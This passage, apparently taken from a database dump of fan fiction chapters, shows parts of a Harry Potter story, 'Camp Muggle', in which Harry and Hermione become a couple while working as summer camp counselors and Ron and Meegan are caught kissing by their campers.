was expecting him to let her down in the most idiotic way he could possibly muster.<br>\n\n\n<br>\n &quot;You and I...I mean&#8230;we\'re friends and all..&quot; He continued to blabber incoherently.<br>\n\n\n<br>\n &quot;Harry, get to the point,&quot; she frowned in a deadpan voice. She was not looking forward to the two and a half hours they had left his this was all she was going to get out of him.<br>\n\n\n<br>\n &quot;The point? Oh, right, my point. Well, my point is&#8230;&nbsp; It\'s just that&#8230;&nbsp; Well things change and&#8230;&quot; He still danced from topic to topic.<br>\n\n\n<br>\n She could hear his heart&#8217;s speed growing exceedingly faster as he spoke. She knew he was flustered. Obviously, it was harder for him than she\'d expected to let her down.<br>\n\n\n<br>\n &quot;You want to know something, Harry?&quot; said Hermione in an agitated voice, propping herself up and scooting a bit so she hovered directly over his face. She didn\'t care what it looked like; she was getting fed up.<br>\n\n\n<br>\n &quot;Wh&#8230;what?&quot; he swallowed uncomfortably, leaning his head back, as far away from her as he could.<br>\n\n\n<br>\n &quot;You are a spineless git!&quot; spat Hermione. She raised her eyebrow at him in a look of self-victory after she finished.<br>\n\n\n<br>\n He seemed a bit shocked at her sudden outburst. Unfortunately for Hermione though, Harry let his competitive side get the better of him. He\'d yet to back down on any challenge she\'d ever thrown in his face, and this time, he wasn\'t going to either.<br>\n\n\n<br>\n &quot;Oh, I am, am I?&quot; his voice suddenly rose to defense. He began to lean back closer to her in defiance.<br>\n\n\n<br>\n &quot;Ya.&quot; She gave him a smug, matter of fact look back. Hermione, in return, never quit what she started with Harry.<br>\n\n\n<br>\n &quot;You\'re a know-it-all,&quot; he mocked her with the one insult he knew she\'d gasp in shock to every time he said it.<br>\n\n\n<br>\n &quot;Ah!&quot; she didn\'t disappoint him as she let out a small gasp. However, she quickly subsided it, as her eyes grew fiery and narrowed. With a quick tongue, she retaliated, &quot;At least I\'m not afraid of what I feel!&quot;<br>\n\n\n<br>\n &quot;I\'m not afraid?? I\'m not the one who hides behind books and tests to avoid any real emotions!&quot; He countered as quickly as she had. He was ever so slowly getting closer, still glaring as he inched in.<br>\n\n\n<br>\n &quot;At least I don\'t run away from mine&#8230;unlike SOME people I know!&quot; she leaned closer as well, refusing to back down. She didn\'t seem to have control over what she was saying, but she knew he was miffed which was what she\'d been aiming for and also what was fueling her to continue.<br>\n\n\n<br>\n &quot;At least I know what I want!&quot; he was so close, she could feel his breath against her lips, but she ignored it, still determined to win.<br>\n\n\n<br>\n &quot;Oh, do you now?&quot;<br>\n\n\n<br>\n &quot;Ya, I do,&quot; he said flatly.<br>\n\n\n<br>\n &quot;Well, what\'s that then?&quot; she tossed him a smirking smile. She hoped this would throw him for a loop and hand her the victory.<br>\n\n\n<br>\n He looked at her for the smallest spilt second before leaning forward and pressing his lips to hers.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Ron!!&quot; Meegan giggled through kisses and he swirled his hands across the small of her back.<br>\n\n\n<br>\n He smiled against her lips as he continued.<br>\n\n\n<br>\n The pair was blissfully kissing behind the building, completely ignorant to their surroundings.<br>\n\n\n<br>\n A small moan escaped Meegan\'s lips as Ron\'s hand slid up to cup the back of her head.<br>\n\n\n<br>\n &quot;GOTCHA!!!!!!!&quot; A bright beam of light suddenly shone directly on both the faces.<br>\n\n\n<br>\n They broke instantly.<br>\n\n\n<br>\n &quot;Oh My GOD! My counselor is kissing a boy!!!!!&quot; A high-pitched girl\'s voice screamed.<br>\n\n\n<br>\n &quot;Oh my god,&quot; Meegan murmured in shock, hiding her face in Ron\'s shoulder.<br>\n\n\n<br>\n &quot;Sarah!! Meegan\'s kissing that boy she likes!&quot; another girl yelled around the corner.<br>\n\n\n<br>\n &quot;What boy?&quot; a guy\'s voice from a distance replied.<br>\n\n\n<br>\n &quot;Damn...&quot; Ron muttered near inaudibly.<br>\n\n\n<br>\n &quot;Your counselor!&quot; the girl yelled back, almost gleefully. She turned back to Ron and Meegan who were still sitting there blushing. &quot;Don\'t worry, only the entire camp will know. If you want, when we throw you in the lake, you can go in together,&quot; she winked maliciously.</p> '),
	(134, 13, ' <p>Thanks for reading and reviewing! Here is chapter 13! Time to get things rollin\'!!!<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Chapter 13: At Last<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Hermione\'s eyes flew open for the briefest second as Harry\'s lips cut her off mid-argument. Rather than protest, she let them flutter closed. Her mind went blank and dewy as a familiar tingling shot throughout her body. She\'d tried to keep the same feeling alive in her mind since the last time he\'d kissed her. It was exactly as she\'d remembered it. Just as scary, and just as exciting.<br>\n\n\n<br>\n She suppressed a gasp as she felt Harry tongue line the outside of her lips. Unsure of herself, and what she was doing, she slowly parted her lips and allowed him entrance. The feeling was so new and welcomed, Hermione nearly melted away right there and then on top of him.<br>\n\n\n<br>\n As he continued to kiss her, his hands slid up and mixed within her hair. Hermione couldn\'t hold it in any longer, letting out a small groan of approval as he continued.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Harry didn\'t know why he\'d done it again, he knew the problems it had caused the first time, but she\'d been so close to him, he couldn\'t stop himself from wanting her as badly as he did.<br>\n\n\n<br>\n She wasn\'t pulling away. The more she accepted, the more he gave. After their last encounter, Harry was sure his behavior had ruined things between him and Hermione, but now, all he wanted to do was become lost in the sensations she was bestowing upon him.<br>\n\n\n<br>\n Holding her tight, he let his lips slide away from her mouth and begin to trail down her jaw line, neck, and finally, ending at her collarbone. He smiled against her skin as she let out another soft moan.<br>\n\n\n<br>\n Tracing her collarbone with soft kisses for a moment, he continued by making his way back up to her mouth. Hermione eagerly accepted his kiss as his lips came to rest on hers.<br>\n\n\n<br>\n Reality instantly drowned out around the pair. All either knew was they didn\'t want to stop, ever.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Ron and Meegan sulked as they were led, by all too gleeful campers, to the docks where they were to wait until the end of the game. Both were still blushingly furiously at the fact they were caught snogging by their campers.<br>\n\n\n<br>\n &quot;Wait here,&quot; a girl announced smugly, leaving the pair with a few other counselors who\'d be sought out.<br>\n\n\n<br>\n Ron and Meegan remained silent, refusing to divulge any details to the counselors around them who had heard some of what the students had been saying, and were now smirking also<br>\n\n\n<br>\n &quot;I\'m sorry,&quot; Ron finally whispered into Meegan\'s ear. Cautiously, he took her hand in his and looked into her eyes.<br>\n\n\n<br>\n &quot;Ron,&quot; smiled Meegan, her voice was also hushed, &quot;This isn\'t your fault so don\'t you dare go taking blame. What\'s done is done. Camp won\'t last much longer, we\'ll never have to see the majority of these people again.&quot;<br>\n\n\n<br>\n &quot;You\'re right,&quot; said Ron, his voice suddenly changed to a rather devastated tone.<br>\n\n\n<br>\n &quot;It\'s not that bad you git. I\'m sure if you really want to, you can visit them all. I didn\'t mean you\'d never see anyone again,&quot; she laughed at his long face.<br>\n\n\n<br>\n &quot;Not that,&quot; he sighed, playing with their entwined hands, &quot;It\'s just that, you reminded me soon we won\'t be together.&quot;<br>\n\n\n<br>\n &quot;Oh...&quot; Meegan didn\'t know what to say. She hadn\'t really let the thought come to surface in her mind yet.<br>\n\n\n<br>\n &quot;I...&quot; Ron hesitated, &quot;I don\'t want this.&quot; he pulled their hands in his lap, &quot;I don\'t want to lose this.&quot; He finished with a gulp.<br>\n\n\n<br>\n &quot;I don\'t either,&quot; said Meegan, her voice sounding like that of a scared child. She really hadn\'t wanted to discuss the inevitable.<br>\n\n\n<br>\n &quot;Whew&#8230; that\'s a relief,&quot; he laughed.<br>\n\n\n<br>\n &quot;You\'re such a git,&quot; she giggled, slapping him in the arm.<br>\n\n\n<br>\n &quot;Ya, but I\'m your git,&quot; he winked at her.<br>\n\n\n<br>\n &quot;Unfortunately for me, yes,&quot; Meegan laughed again.<br>\n\n\n<br>\n &quot;Hey!&quot; Both laughed. Once their laugher subsided, Ron coughed awkwardly.<br>\n\n\n<br>\n &quot;About not ending things&#8230;how do you think we should...continue them?&quot;<br>\n\n\n<br>\n &quot;Well, I go to boarding school in Scotland.&quot;<br>\n\n\n<br>\n &quot;Oh, me too!&quot; Ron interjected.<br>\n\n\n<br>\n &quot;Really? Where?&quot; said Meegan with interest.<br>\n\n\n<br>\n &quot;Oh, you wouldn\'t recognize the name.&quot; Ron drawled off. &quot;Anyway, we have Christmas and summer vacations, right? And we can owl.. I mean, mail each other. A lot,&quot; he winked.<br>\n\n\n<br>\n &quot;Of course,&quot; she smiled.<br>\n\n\n<br>\n &quot;Good, that wasn\'t too bad now, was it?&quot; Ron smiled on the outside, but on the inside, all he could think was how in the hell would he tell her he was a wizard.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Neither Harry nor Hermione had any recollection of what time it was. They\'d been entangled with each other for what seemed like hours, and most likely, was. No talking had come, simply kissing.<br>\n\n\n<br>\n Without warning, a loud air horn blast rang out throughout camp. Both Harry and Hermione broke apart from each other, taking deep breaths each as they quickly glanced around, attempting to orientate themselves.<br>\n\n\n<br>\n &quot;Is that..&quot; Harry stopped to inhale again, complete exhausted.<br>\n\n\n<br>\n &quot;The end of the game,&quot; Hermione exhaled.<br>\n\n\n<br>\n He looked up at her beautiful face. Her lips were swollen red and her hair was tousled in a way that resembled its appearance in her first few years at Hogwarts.<br>\n\n\n<br>\n &quot;We should go before they come to look for us,&quot; said Hermione between still labored breaths.<br>\n\n\n<br>\n &quot;Right,&quot; Harry turned his head as Hermione rolled off and slipped through the entrance.<br>\n\n\n<br>\n He remained lying on the ground for a moment, taking the chance to attempt regaining his breath. With a silent curse to himself for losing the opportunity again to talk with her, Harry grabbed his cloak jammed it back into his sweatshirt. Following Hermione, Harry slid out from under the deck.<br>\n\n\n<br>\n Hermione was waiting at the path, having already tamed the bushes down the hill, and was now waiting for him. Harry cursed again as the prickly leaves clung to his pants. Giving up, he ran the rest of the way down the hill to join her, ignoring the stickers as they scratched him.<br>\n\n\n<br>\n &quot;Ready?&quot; she questioned, straightening her clothes and brushing a few stray leaves out of her hair.<br>\n\n\n<br>\n &quot;Ya...&quot; he sighed, following a step behind her as they made their way to the lake to see who\'d been caught, and who\'d eluded capture.<br>\n\n\n<br>\n The pair walked in silence, both seemingly staring at the ground. When they were about halfway to the lake, Harry finally spoke again.<br>\n\n\n<br>\n &quot;Hermione,&quot; he hesitated. She looked up at him, awaiting him to continue. &quot;I&#8230;I want to talk about what\'s been going on.&quot; He took in a deep breath, attempting to calm himself.<br>\n\n\n<br>\n &quot;Oh, all right then,&quot; said Hermione in a small voice.<br>\n\n\n<br>\n &quot;I just want you to know that,&quot; Harry looked away from her, focusing on a point somewhere off in the trees, &quot;I...like...you.&quot;<br>\n\n\n<br>\n &quot;Oh.&quot; said Hermione, almost sadly as she watched her feet.<br>\n\n\n<br>\n &quot;No!&quot; Harry flipped his gaze back to her upon hearing the tone in her voice, &quot;I mean I REALLY like you.&quot;<br>\n\n\n<br>\n Hermione stopped walking and gaped at him. She had no clue how to respond. She was simply, shocked.<br>\n\n\n<br>\n He took a hesitant step toward her, closing the gap between them to a mere few feet.<br>\n\n\n<br>\n &quot;I\'ll understand if you don\'t..&quot;<br>\n\n\n<br>\n &quot;Harry, stop,&quot; Hermione interrupted him.<br>\n\n\n<br>\n &quot;I..&quot; Harry\'s voice wavered.<br>\n\n\n<br>\n &quot;No, let me talk,&quot; she took a step closer.<br>\n\n\n<br>\n &quot;But Hermione!&quot; Harry threw his hands up in frustration.<br>\n\n\n<br>\n &quot;Shut up you git! I like you too!&quot; Hermione yelled, becoming angry that he wouldn\'t let her speak. After she finished, she gasped and took a step back, shocked by her own outburst.<br>\n\n\n<br>\n &quot;You do?&quot; A strange expression of shock and delight crossed Harry face.<br>\n\n\n<br>\n &quot;Yes, I do,&quot; said Hermione in a very soft, confirming tone. Her head, however, could barely meet his gaze. She was still embarrassed for yelling.<br>\n\n\n<br>\n Harry took one look at her, and then stepped forward; wrapping his arms around her, he drew her in for a kiss.<br>\n\n\n<br>\n Hermione let out a small \'mmm\' as their lips connected. She let her eyes melt shut as she eagerly accepted the kiss, letting her own arms wrap tightly around his shoulders.<br>\n\n\n<br>\n Harry\'s hands tangled, one around her waist, one in her hair, as they pulled her close. After a heated kiss, he leaned back just enough to look into her eyes.<br>\n\n\n<br>\n &quot;Hermione Granger, will you be my girlfriend?&quot; said Harry. A blush rose up into his cheeks as he spoke, softly, while looking into her eyes. A small, timid, smile played on his lips that had just left hers.<br>\n\n\n<br>\n &quot;Yes,&quot; she grinned, this time, taking the initiative herself and leaning in for a kiss to seal the deal.<br>\n\n\n<br>\n Harry reluctantly pulled away a moment later, still keeping her in his arms.<br>\n\n\n<br>\n &quot;We need to head down before they come searching for us.&quot; A silly grin had formed on his face and his cheeks were still blushing a rosy shade. His hand that had been tangled in her hair slid out to cup her face.<br>\n\n\n<br>\n &quot;Right,&quot; she said a bit reluctantly, slowly sliding away, letting her hands trail gently down his arms as she did so.<br>\n\n\n<br>\n &quot;Can we talk more later?&quot; said Harry, turning toward the lake. As he moved, he removed his hand from her cheek and let it find its place in her hand instead.<br>\n\n\n<br>\n &quot;After campfire?&quot; she suggested as he gave her hand a gentle tug in his direction and they began heading again toward the lake.<br>\n\n\n<br>\n &quot;That sounds perfect,&quot; said Harry, still speaking with a dazed voice of contentment. Absentmindedly as they walked, he playfully swung their hands.<br>\n\n\n<br>\n Hermione noticed the lake nearing. &quot;Until then,&quot; she said, tugging him to a halt and pulling him toward her with their entwined hands. Quickly, she kissed him, then released his hands and walked off. She turned after about ten feet and gave him a wink, before turning back and continuing to the lake.<br>\n\n\n<br>\n Harry grinned and began a slow jog to catch up and follow her. Together, they walked to the lake, both still smiling with happiness.<br>\n\n\n<br>\n End Chapter 13<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n A/N Time!! ::: Okay, more to come soon! PUHlease review cause I love it sooooooo much when you do and it makes me want to write a ton more!</p> '),
	(134, 14, ' <p>(((Author&#8217;s Note:&nbsp; Sorry the last part was SO short!&nbsp; This part is about twice as long. I think you all deserve maximum H and Hr, so the more the merrier!!)))<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n Camp Muggle Part Fourteen!<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Ron!&quot; Harry called, as he and Hermione ended their walk to the lake. Ron was sitting next to Meegan on the dock, both had horrible expressions of dread on their faces.<br>\n\n\n<br>\n &quot;Harry, Hermione!&quot; said Ron; standing to greet them with the offer of the meekest smile he could manage.<br>\n\n\n<br>\n &quot;Got caught, did you?&quot; Hermione smirked a tad.<br>\n\n\n<br>\n &quot;That\'s not the worst of it,&quot; Ron grumbled.<br>\n\n\n<br>\n Meegan had still yet to say a word next to them.<br>\n\n\n<br>\n &quot;Well, tell us then,&quot; Harry urged, standing close enough to Hermione that their fingers gave a quick brush with one another. Harry felt his cheeks get hot at the brief contact, which brought back memories of the hours past.<br>\n\n\n<br>\n &quot;We got caught,&quot; Ron said flatly.<br>\n\n\n<br>\n &quot;Yes, we know that already!&quot; said Hermione with exasperation.<br>\n\n\n<br>\n &quot;No, we got caught kissing!&quot; Meegan finally spoke. Her voice held a dismal tremble to it. &quot;By our campers!&quot; She wailed, turning and burying her face in Ron\'s shoulder. She was too embarrassed to look at Harry and Hermione\'s reactions.<br>\n\n\n<br>\n Harry began to laugh, &quot;Bloody bad luck... Oomph!&quot;<br>\n\n\n<br>\n Hermione had slapped him across the stomach with her forearm, trying to make him quit laughing. She too, however, was suppressing a giggle herself.<br>\n\n\n<br>\n &quot;There are only two more weeks of camp left. You\'ll survive,&quot; said Hermione, trying to offer an encouraging note.<br>\n\n\n<br>\n &quot;As if getting caught wasn\'t bad enough in the first place,&#8221; grumbled Ron, reaching up and putting an arm around Meegan.<br>\n\n\n<br>\n &quot;Harry, why don\'t we go stand with the other counselors who didn\'t get caught? I don\'t want them making a mistake resulting in us getting tossed in that frigid water as well,&quot; said Hermione, eyeing to dark water surrounding the dock.<br>\n\n\n<br>\n &quot;All right,&quot; they began to walk. &quot;Enjoy your swim!&quot; He called over his shoulder, resulting in other whack to the stomach from Hermione as they continued away.<br>\n\n\n<br>\n &quot;We\'re going to be the laughing stock of camp, Ron,&quot; Meegan grumbled, sliding from his grasp as to not draw further attention to them.<br>\n\n\n<br>\n &quot;They\'re kids. Something else will come along and they\'ll shift their attention to the new point of gossip,&quot; he assured her with a smile.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Harry, we can\'t tell anyone!&quot; said Hermione is a curt whisper as soon as they\'d gotten far enough away from Ron and Meegan so as they were out of earshot.<br>\n\n\n<br>\n &quot;About what?&quot; he teased, bumping into her playfully as they walked.<br>\n\n\n<br>\n &quot;Stop being a prat,&quot; she sighed, albeit being unable to resist a smile due to his antics. &quot;You know what I mean. If everyone finds out we\'re&#8230;dating,&quot; she looked up at him a smiled as she said it, &quot;we\'ll take Ron and Meegan\'s place as the laughing stock of camp.&quot;<br>\n\n\n<br>\n &quot;It\'ll be okay, \'Mione. We won\'t say anything until we get back to school, if that\'s what you\'d like,&quot; said Harry with a soft smile.<br>\n\n\n<br>\n &quot;Thank you, you\'re amazingly wonderful,&quot; she grinned as he put a friendly arm around her shoulders.<br>\n\n\n<br>\n &quot;I know,&quot; he grinned. Hermione just rolled her eyes and smiled as they made their way to where the rest of camp was congregating.<br>\n\n\n<br>\n &quot;And where were you hiding, missy?&quot; The loud voice of Juliet Brown pulled Hermione\'s gaze from Harry as the short brunette made her way over.<br>\n\n\n<br>\n Harry let his arm slip off Hermione\'s shoulders.<br>\n\n\n<br>\n &quot;Hi, Harry!&quot; Juliet grinned upon seeing him.<br>\n\n\n<br>\n &quot;Hello,&quot; he smiled politely.<br>\n\n\n<br>\n &quot;Now where were you?!&quot; she flipped her attention back to Hermione.<br>\n\n\n<br>\n &quot;I cannot tell you. If I do, it\'ll ruin my location for next year,&quot; said Hermione.<br>\n\n\n<br>\n &quot;You two were off snogging weren\'t you?!&quot; Juliet looked at them accusingly.<br>\n\n\n<br>\n &quot;What?!&quot; Both Harry and Hermione yelled in shock.<br>\n\n\n<br>\n &quot;Relax, I\'m only joking. You know that\'s how Meegan and Ron got caught,&quot; said Juliet with an evil grin to her face.<br>\n\n\n<br>\n &quot;Oh, yes,&quot; Hermione breathed a sigh of relief, &quot;We were just over speaking to them. Neither seems too thrilled to be pushed into the lake.&quot;<br>\n\n\n<br>\n &quot;I\'m taking some Muggle pictures of Ron getting pushed in to bring back to school!&quot; She looked rather pleased with the idea.<br>\n\n\n<br>\n &quot;Juliet!&quot; Hermione lectured, &quot;What did I say about using that word!&quot;<br>\n\n\n<br>\n &quot;Relax, no one is listening,&quot; she motioned around them. Hermione looked and in fact, no one was particularly close to them, nor did anyone seem remotely interested in what they were talking about.<br>\n\n\n<br>\n &quot;Still, be careful.&quot; Hermione rubbed her shoulders as a gentle wind picked up.<br>\n\n\n<br>\n &quot;Ron and Meegan will be extra cold if this keeps up,&quot; Harry commented, stepping closer and putting an arm around Hermione to warm her up.<br>\n\n\n<br>\n &quot;Thanks,&quot; she muttered.<br>\n\n\n<br>\n &quot;OKAY! ALL THOSE WHO CAPTURED A COUNSELOR! COME OVER TO THE DOCKS!&quot; Greg\'s voice suddenly boomed out, causing a rush of excitement throughout those waiting on the shore. Some very happy looking campers ran over to the docks.<br>\n\n\n<br>\n Hermione and Harry watched together as one by one, their fellow counselors were shoved into the icy water. All came out sputtering from the cold and scrambling to climb out.<br>\n\n\n<br>\n The both winced as they watched Ron and Meegan being led together to the end of the dock. From what they could see, it looked as if the pair had begun arguing. Maybe trying to decide whose fault it was that they were getting tossed in. Then, without warning, both went flying into the water. They surfaced, each scrambling to get to the ladder first. Meegan beat Ron, and he was forced to wait in the water while she made her way out.<br>\n\n\n<br>\n Dripping wet and shaking, the two quickly made their way over to Harry and Hermione to wait while the last few counselors were tossed in.<br>\n\n\n<br>\n Harry and Hermione began to giggle as their soaking friends sopped their way over. They each left a long trail of water drops behind as they came. Apparently, they were still arguing as well.<br>\n\n\n<br>\n As they neared, a bright flash went off, causing both to quit snapping at each other and look up.<br>\n\n\n<br>\n &quot;What a pretty picture,&quot; Juliet grinned, holding a Muggle camera in her hands.<br>\n\n\n<br>\n Ron scowled and stepped over next to Harry. &quot;I am so bloody cold!&quot;<br>\n\n\n<br>\n &quot;Sorry, about that,&quot; Harry smiled hard, trying not to laugh again. Ron didn\'t look like he was in the mood.<br>\n\n\n<br>\n &quot;Bad day then?&quot; Hermione smiled at her friend Meegan who looked rather glum next to her.<br>\n\n\n<br>\n &quot;Like you wouldn\'t believe,&quot; she said sarcastically.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Okay, before I let you all head off to go to bed,&quot; Greg addressed his camp. It was the end of campfire, his favorite time to make announcements, &quot;I want to remind you that in two weeks, we\'ll be having the end of camp dance!&quot;<br>\n\n\n<br>\n A few mumbles of excitement and intrigue roamed the group.<br>\n\n\n<br>\n &quot;The dance is held the last night that you are here. It will run from 7pm until midnight. So, you all will get special extended bed times,&quot; he continued.<br>\n\n\n<br>\n This merited a few cheers. Many of the campers did not appreciate the imposed 10pm bedtime.<br>\n\n\n<br>\n &quot;That\'s just to get you thinking about it. Tomorrow, remember we are going on a daylong hike to Peteyorn Falls. We\'ll be leaving at 10am after breakfast, and returning at about five for dinner. Sack lunches will be provided, but you need to pick yours up after breakfast, BEFORE we leave. Remember your backpack, water bottle, and swimming gear if you want to swim while we are there. The hike is about two hours each way so wear some sturdy shoes! That\'s all!&quot; He finished with the wave of a hand, dismissing the camp to head to bed.<br>\n\n\n<br>\n The campers grumbled as their counselors began to herd them back up the hill toward their cabins. Harry and Hermione\'s group walked close together, with the two counselors in mention lingering behind.<br>\n\n\n<br>\n &quot;So, do you want me to come find you, or shall we meet somewhere?&quot; Harry mentioned of their scheduled talk.<br>\n\n\n<br>\n &quot;You can come get me,&quot; she smiled at the idea as if her were coming to court her. &quot;I can ask Meegan to watch the group. Can you be ready in twenty minutes?&quot; She asked eagerly.<br>\n\n\n<br>\n &quot;For you, anything,&quot; he smiled, as they separated at a fork in the trail, Harry heading off with his cabin and Hermione leaving with hers. They watched each other leave wordlessly.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Are you sure you\'re okay with this? I won\'t be long, we just need to talk about&#8230;something,&quot; said Hermione while she pulled a sweater over her head.<br>\n\n\n<br>\n &quot;Not a problem, I shouldn\'t be going out anymore anyway. Might get caught,&quot; scowled Meegan. She was under her covers, sitting up and reading a magazine.<br>\n\n\n<br>\n A soft knock suddenly came from their door.<br>\n\n\n<br>\n &quot;Thanks,&quot; said Hermione, giving Meegan a smile before making her way to the door. She opened it just wide enough so she could slip out, yet none of the campers inside could seem whom she was with.<br>\n\n\n<br>\n &quot;Hi,&quot; she breathed a soft hello as the door clicked behind her.<br>\n\n\n<br>\n &quot;You look beautiful,&quot; Harry beamed, finally getting the chance to tell her what he\'d had on his mind since dinner.<br>\n\n\n<br>\n &quot;Thank you,&quot; she blushed. He could see the rose tone her cheeks picked up within the moonlight. He smiled and offered her his hand.<br>\n\n\n<br>\n She took it, and the pair quietly made their way down the path toward the lake.<br>\n\n\n<br>\n As they walked, Harry rubbed it with his thumb.<br>\n\n\n<br>\n &quot;Here,&quot; said Harry suddenly, pulling Hermione onto the grassy lower playfield.<br>\n\n\n<br>\n &quot;Where are we going?&quot; she smiled. Following him across the field.<br>\n\n\n<br>\n &quot;No where,&quot; he grinned, leading her away from the path. They walked silently for another minute until the reached the middle of the field. Harry suddenly stopped and looked up at the sky.<br>\n\n\n<br>\n &quot;What?&quot; Hermione looked up too.<br>\n\n\n<br>\n &quot;This will do,&quot; he smiled, shifting his gaze to her. He quickly sat down and pulled her along. She giggled as she landed in his lap. He gave her a wry smile before kissing her softly. As he pulled away, he wrapped his arms around her and lay back, taking her with him. Soon, they were nestled on the ground together, staring up at the sky.<br>\n\n\n<br>\n &quot;I thought it might be nice to watch the stars together while we talked,&quot; said Harry, rubbing a hand slowly along her arms.<br>\n\n\n<br>\n &quot;I never took you for such a romantic, Harry Potter,&quot; said Hermione, looking up at the stars with a large smile across her face.<br>\n\n\n<br>\n &quot;There\'s more to me than being the dashing star of the Gryffindor Quidditch team you know,&quot; he waggled his eyebrows into the night.<br>\n\n\n<br>\n &quot;Right,&quot; she giggled, snuggling her head against his chest.<br>\n\n\n<br>\n &quot;So, you don\'t have to answer this if you don\'t want to, but I\'d really like to ask,&quot; he began suddenly. She could feel him tense a bit with nervousness.<br>\n\n\n<br>\n &quot;Go on then,&quot; she said gently with encouragement.<br>\n\n\n<br>\n &quot;How long has it been? Since you liked me too, I mean,&quot; he blushed, hoping she wouldn\'t turn her head to look at him.<br>\n\n\n<br>\n Hermione kept looking at the twinkling stars. &quot;Since the end of fourth year,&quot; she replied.<br>\n\n\n<br>\n &quot;Really?!&quot; His voice couldn\'t hold his surprise.<br>\n\n\n<br>\n &quot;Yes,&quot; said Hermione. She blushed a bit herself, hoping he didn\'t find her pathetic for pining way for all these years.<br>\n\n\n<br>\n &quot;I\'ve liked you since fifth year,&quot; he admitted.<br>\n\n\n<br>\n &quot;You have?!&quot; she rolled over a bit on her side with a giggle. He too tipped his head, so as they were now nose to nose.<br>\n\n\n<br>\n &quot;Yes,&quot; he answered in the same manor she had earlier.<br>\n\n\n<br>\n &quot;You should have told me!&quot; Hermione\'s bossy tone, which Harry knew all too well, escaped.<br>\n\n\n<br>\n &quot;You could have told me too you know,&quot; he smiled at her, leaning in so that the tips of their noses barely touched.<br>\n\n\n<br>\n &quot;Right, sorry \'bout that,&quot; she blushed.<br>\n\n\n<br>\n &quot;Me too,&quot; he leaned in and softly kissed her. As he pulled away he said, &quot;We could have been doing a lot more of that.&quot;<br>\n\n\n<br>\n Hermione giggled and leaned in, giving him a quick kiss. As she pulled away, she gave the expression that she was contemplating something. &quot;Hmmm...Yes, I suppose doing more that would have been good.&quot;<br>\n\n\n<br>\n &quot;It took you this long to decide whether I\'m a good kisser or not?&quot; Harry mocked insult.<br>\n\n\n<br>\n &quot;Well, I have had better,&quot; she teased.<br>\n\n\n<br>\n &quot;Liar,&quot; he leaned in and captured her lips again.<br>\n\n\n<br>\n Hermione kissed him back full force. He was more amazing that any of her other kisses combined.<br>\n\n\n<br>\n &quot;Am I still second-rate?&quot; Harry grinned as their lips separated.<br>\n\n\n<br>\n &quot;I\'m still not sure, let\'s try that again,&quot; she smiled as he leaned forward to kiss her more.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Does everyone have everything ready for the hike!?&quot; Allison called out, standing by the doorway waiting for their campers to follow suit. Slowly but surely, they straggled to the door, all wearing lopsided backpacked stuffed with their essentials.<br>\n\n\n<br>\n &quot;Meegan, Hermione, hurry it up!&quot; said Allison impatiently.<br>\n\n\n<br>\n &quot;Hold on!&quot; Meegan called, she and Hermione were still tying their shoes. They\'d both been late returning for breakfast. No one knew, but both had snuck of with their significant others for a brief snog session. Hermione and Meegan didn\'t even know about each other, neither choosing to ask why the other was also late returning for fear they\'d be questioned themselves.<br>\n\n\n<br>\n &quot;Okay,&quot; Hermione called as she and Meegan finished and stood. They quickly grabbed their backpacks and made their way to the front to head out with Allison.<br>\n\n\n<br>\n &quot;Everyone\'s ready?&quot; Meegan asked her cousin.<br>\n\n\n<br>\n &quot;Yes, I can handle things on the occasion,&quot; Allison rolled her eyes.<br>\n\n\n<br>\n &quot;Great, let\'s head out!&quot; Hermione announced, ushering everyone outside.<br>\n\n\n<br>\n It was a lovely, warm day for hiking. Hermione, Meegan, and Allison lead their girls to the upper play field where everyone was to gather. As soon as everyone was there, they began the long hike to Peteyorn falls.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n &quot;Hermione, it\'s dreadful hot, aren\'t we close to getting there yet?&quot; complained Stephanie, one of Hermione\'s campers.<br>\n\n\n<br>\n &quot;It should be close,&quot; she breathed. They\'d been hiking for quite some time, and everyone was rather tired. Hermione raised a hand to her forehead to wipe a bit of perspiration off. Looking up, she smiled at the sight of Harry and his group ahead of her\'s. All of the cabins had spread in a long trail along the path to the waterfall. Ron and Harry\'s group boldly followed Greg in the lead, with Hermione\'s girls scrambling to keep up; all eager to get the their destination.<br>\n\n\n<br>\n Hermione began to chew of her bottom lip, a faint smile crossing her lips as she watched Harry move from behind. A small blush rose up her cheeks and she turned her head as she realized she was gawking. After a moment, she let her gaze rise up again to Harry\'s backside. As she\'d just reasoned in her head, they were dating now so it was perfectly acceptable for her to stare. She let out a small giggle to herself as she continued to watch Harry climb the path in front of her.<br>\n\n\n<br>\n &quot;Like the view?&quot; Meegan voice suddenly came in a short whisper next to her.<br>\n\n\n<br>\n Hermione jumped. Once she had regained her composure, she slapped Meegan in the arm. &quot;You scared me to death,&quot; she chastised.<br>\n\n\n<br>\n &quot;Sorry, didn\'t mean to interrupt,&quot; Meegan giggled, rolling her eyes at her blushing friend.<br>\n\n\n<br>\n &quot;Why whatever are you talking about?&quot; Hermione raised her eyebrows defiantly, trying her best to hide her embarrassment.<br>\n\n\n<br>\n &quot;Please Hermione. You two are so obvious! Would you please just spare us all and get together already?&quot; Meegan smiled.<br>\n\n\n<br>\n &quot;We already.&quot; Hermione suddenly choked a bit, &quot;Sorry.&quot; she mumbled, &quot;As I was saying,&quot; she shook her head a bit and continued, &quot;We already&#8230;told you, it\'s not like that with Harry and I,&quot; she lied through her teeth. If it wasn\'t for the strenuous hiking, she was certain Meegan would have seen her sweating bullets over her near omission.<br>\n\n\n<br>\n &quot;Right, and Ron and I never snog,&quot; she rolled her eyes at her friend with a smile before lagging back to speak to her cousin, Allison.<br>\n\n\n<br>\n Hermione sighed and averted her gaze to her feet. It was a struggle, but she managed not to blatantly gawk at Harry again until they reached the falls.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n As they 